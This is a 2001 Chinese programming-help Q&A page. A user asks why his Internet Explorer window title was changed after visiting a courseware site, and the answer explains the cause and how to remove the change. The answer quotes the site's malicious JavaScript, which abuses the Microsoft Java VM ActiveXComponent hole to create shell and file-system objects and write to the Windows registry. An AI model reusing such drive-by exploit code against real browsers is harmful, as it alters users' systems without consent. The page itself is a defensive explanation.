热情软件屋

 

上过一个网站后,浏览器窗口的标题都被修改了


编号:QA004275
建立日期: 2001年7月1日 最后修改日期:2001年7月1日
所属类别:

郦诚:
    操作系统: windows2000
    编程工具: Internet
    问题: 当我上过:http://spschool.myrice.com(自称为:国内最好的课堂教学课件站)后, 我每次进入一个主页,最上面的标题都改为:国内最好的课堂教学课件站!http://spschool.myrice.com很烦人。不清楚在何处做了手脚。
    水平: 中级

回答:

    这个主页利用浏览器的漏洞修改了你的注册表,具体位置为:
    HKLM\Software\Microsoft\Internet Explorer\Main\Window Title
    你可以使用RegEdit将这个键删除就可以了。对于这样的站点尽量少去,因为修改标题倒没有什么要紧,但如果利用浏览器的漏洞安装木马就危险了。要彻底解决这种问题,需要升级你的IE所使用的Java VM。下载新的Java VM的地址为:微软的Knowledge Base的文章:“Q275609 “FIX: Java Security Issue Allows Access to ActiveX Controls”。或者它在注册表找到HKEY_CLASSES_ROOT\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},找到后把整个项删掉就可以了。
    下面是这个页面的部分代码,从中你可以看到它是如何修改你的注册表的。
    <script language="JavaScript"><!--
    document.write("<APPLET HEIGHT=0 WIDTH=0
    code=com.ms.activeX.ActiveXComponent></APPLET>");
    
    function f(){
    try
    {
    //ActiveX initialization
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl = a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO = a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net = a1.GetObject();
    
    try
    {
    if (document.cookie.indexOf("Chg") == -1)
    {
    
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "国内最好的课堂教学课件站!http://spschool.myrice.com");
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "国内最好的课堂教学课件站!http://spschool.myrice.com");
    var expdate = new Date((new Date()).getTime() + (1));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + ";
    path=/;"
    
    }
    }
    catch(e)
    {}
    }
    catch(e)
    {}
    }
    function init()
    {
    setTimeout("f()", 1000);
    }
    init();
    // --></script>

此问题由李海回答。

附加关键字:编程, 源程序, programming, source code, 其他语言, asm, vba, vbscript, Web浏览器, ie, netscape

 
把这个问题推荐给朋友
   
   
您的意见类别
您的名字
您的电子邮件
您的建议(请尽可能详细)
 
 

版权所有 1997-2008 热情软件屋
如果您有任何建议和意见, 请给我发个电子邮件 askpro@china-askpro.com
Web Designed by ZebraStudio